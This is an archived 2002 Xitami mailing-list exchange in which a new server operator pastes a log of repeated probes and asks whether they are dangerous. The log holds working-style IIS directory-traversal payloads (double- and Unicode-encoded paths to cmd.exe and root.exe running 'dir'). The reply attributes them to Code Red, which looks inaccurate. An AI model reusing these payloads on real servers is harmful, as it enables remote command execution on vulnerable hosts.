[Xitami] Error log

[Patricko]

Xitami is safe from this attack it is code red worm that infects PWS/ISS on
a windows system just laugh it off :)


----- Original Message ----- 
From: "Cameron Arnott" <cameron@burcom.com.au>
To: <xitami@lists.xitami.org>
Sent: Sunday, November 24, 2002 7:54 AM
Subject: [Xitami] Error log


> I've often wondered if someone was trying to break into my little
> server... I ge these things appearinbg all the time.. And others very
> similar... Are they anything to worry about.. And if so how can I stop
> them
>
> I always see html errors in the panel.. Are these what that's
> reporting..
>
> It just keeps repeating over and over again.. And different ime
> intervals
> And Xitami is the only thing running (internet wise that is)
>
>
> --- error log snippet
>
> 203.185.21.4 - - [23/Nov/2002:01:39:15 +1000] "GET
> /scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:17 +1000] "GET
> /MSADC/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:18 +1000] "GET
> /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:19 +1000] "GET
> /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:21 +1000] "GET
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:22 +1000] "GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:24 +1000] "GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:25 +1000] "GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn
> t/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:27 +1000] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:28 +1000] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:30 +1000] "GET
> /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:31 +1000] "GET
> /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 203.185.21.4 - - [23/Nov/2002:01:39:47 +1000] "GET
> /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 ""
> ""
> 203.185.21.4 - - [23/Nov/2002:01:39:49 +1000] "GET
> /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
>
> --- end of error log snippet
>
> PS: I run a virus chacker and moniter system consistantly..
>
> (sorry a complete newbie to webservers)
>
>
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami